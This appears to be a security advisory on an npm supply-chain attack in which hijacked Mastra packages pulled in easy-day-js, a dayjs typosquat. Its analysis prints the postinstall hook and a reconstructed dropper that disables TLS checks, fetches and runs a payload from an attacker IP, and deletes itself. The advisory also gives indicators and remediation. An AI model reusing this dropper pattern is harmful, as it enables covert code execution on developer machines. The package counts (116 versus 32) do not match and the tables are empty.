TL;DR
An attacker took over the account of a Mastra maintainer and used it to tamper with the project at scale. Over a 27-minute window, they republished the entire @mastra catalog. They left Mastra's own code alone. In each package they changed a single line, adding a hidden link to a counterfeit component named easy-day-js, a lookalike of a widely used tool called dayjs.
Mastra is an open-source toolkit that software developers use to build AI applications and agents. It comes from the team behind Gatsby and is widely adopted: the project's components are downloaded more than 28 million times a month by teams building on top of it. Like most modern software, Mastra is shipped as a set of small, reusable building blocks that other programs pull in automatically. That reach is what made one stolen account so dangerous.
easy-day-js is a typosquat. It impersonates dayjs down to the description and the bundled dayjs.min.js, but adds a postinstall hook that runs a dropper. On install, the dropper disables TLS certificate validation, fetches a second-stage payload from a raw IP address, writes it to the temp directory, runs it as a detached and hidden child process, and deletes itself.
Three things stand out about this incident:
- The whole org went at once. This was not one package. It was a scripted sweep of 116 packages in under half an hour, ordered roughly by download count, which points to a hijacked account with publish rights across the entire scope rather than a single rogue release.
- The carrier packages are clean; the payload is one level down. Every Mastra package is an unmodified library with a single poisoned dependency line. Scanners that only inspect the named package's own code will not see anything wrong. The malicious behavior lives in easy-day-js, and in most of the packages that dependency is never even imported.
- A pre-staged decoy dependency. easy-day-js@1.11.21 was published a day earlier with no install hook, a clean decoy. The weaponized 1.11.22 landed at 01:01 UTC, eleven minutes before the Mastra sweep began.
Affected packages
All versions below are malicious and were published 2026-06-17. Pin to the last provenance-backed release of each and treat these specific versions as compromised.
The dropper dependency:
Timeline
Technical analysis
The carrier pattern
We pulled and inspected the published tarballs without installing them. Every affected Mastra package shows the same single change: a new line in package.json declaring "easy-day-js": "^1.11.21". In the packages we examined, the dependency is not imported or referenced anywhere in the package source. It does no work for the library. Its only function is to be resolved and installed, which is enough to fire the dropper's postinstall hook.
This is why the Mastra packages themselves are not malicious in the usual sense. They are carriers. The malware is one dependency level down, and the lockfile constraint ^1.11.21 resolves to the weaponized 1.11.22.
Every release also dropped the SLSA provenance attestation that the project's GitHub Actions pipeline normally produces, and several tripped a metadata masquerade check because the declared mastra-ai/mastra repository does not vouch for the published artifact. Both are consistent with a manual publish from outside the project's CI, using credentials with org-wide publish rights.
easy-day-js: the disguise
easy-day-js is built to pass a glance. It copies the dayjs description ("2KB immutable date time library alternative to Moment.js"), ships the real dayjs.min.js as its main entry, and includes the full dayjs locale and plugin tree. We confirmed the bundled dayjs.min.js is byte-identical between the decoy 1.11.21 and the weaponized 1.11.22. The only meaningful difference between the two versions is a single added file, setup.cjs, and a single added line in package.json:
"scripts": {
"postinstall": "node setup.cjs --no-warnings"
}The dropper
setup.cjs is a 4.5 KB obfuscator.io-style script: a rotated string array behind a base64 decoder. We deobfuscated it statically in a sandbox, cracking the array rotation and resolving the string references. The operational literals are embedded directly in the install-time routine and are unambiguous. Reconstructed, it does the following:
// 1. Disable TLS certificate validation for the whole process
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
(async () => {
try {
const c2 = 'https://23.254.164.92:8000/update/49890878';
// 2. Drop marker files in the home/temp dir
fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');
fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);
// 3. Fetch the second-stage payload over the now-unverified TLS connection
const payload = await (await fetch(c2, { method: 'GET' })).text();
// 4. Write it to a random filename in the working dir
const name = crypto.randomBytes(12).toString('hex') + '.js';
const dest = path.join(os.homedir(), name);
fs.writeFileSync(dest, payload, 'utf-8');
// 5. Run it as a detached, hidden child process that outlives the install
child_process.spawn(process.execPath, [dest, token], {
cwd: os.homedir(),
detached: true,
stdio: 'ignore',
windowsHide: true
}).unref();
} catch {}
finally {
// 6. Delete this dropper to remove evidence
fs.rmSync(__filename, { force: true });
}
})();The sequence is deliberate. Disabling NODE_TLS_REJECT_UNAUTHORIZED lets the dropper talk to a bare IP on port 8000 with no valid certificate. The payload is never written to disk in the package itself, only fetched at install time, so the published artifact stays small and clean-looking. detached: true plus .unref() means the spawned process keeps running after npm install returns, and windowsHide: true keeps it off-screen on Windows. The finally block removes setup.cjs so a post-install inspection of node_modules finds nothing.
Indicators worth noting
The deobfuscated strings surfaced a second endpoint on the same host range, 23.254.164.123:443, alongside the primary 23.254.164.92:8000. Both should be blocked. The dropper also leaves two marker files, .pkg_history (containing the install path) and .pkg_logs, which are useful for hunting. As of time of analysis, the initial /update/49890878 payload was no longer reachable and returned a not found from the webserver.
Indicators of compromise
Package indicators
All 32 Mastra versions in the table above, plus:
Network indicators
File and behavioral indicators
Code markers
Remediation
Check your exposure
# Is any affected package or the dropper in your tree?
npm ls easy-day-js
grep -REn "@mastra/|\"mastra\"|easy-day-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
# Look for the dropped artifacts on hosts and CI runners
ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null
find "$HOME" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/nullPin every Mastra dependency to the last version published via GitHub Actions with provenance, and add easy-day-js to your registry blocklist.
If you installed an affected version
Treat the host as compromised. The dropper disabled TLS validation in-process and launched a detached child whose contents were fetched at runtime, so the install hook is not the whole story.
- Rotate every credential reachable from the affected host or CI runner: cloud keys, registry tokens, CI secrets, and anything in environment variables the build could read.
- Hunt for and kill any detached
nodeprocess spawned around install time, and remove the random.jsfile from the home directory. - Block outbound traffic to
23.254.164.92and23.254.164.123and review egress logs for connections to either since 01:12 UTC on 2026-06-17.
Longer term
- Disable install scripts by default.
npm install --ignore-scriptsblocks postinstall and neutralizes this entire class ofdependency-trojan. - Enforce provenance. Requiring SLSA provenance on first-party dependencies would have flagged every one of these releases, since all 32 dropped it.
- Pin with integrity hashes and review dependency additions. A new, unused dependency added to a mature package is a strong signal. Here, a single added line in
package.jsonwas the entire compromise.
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:










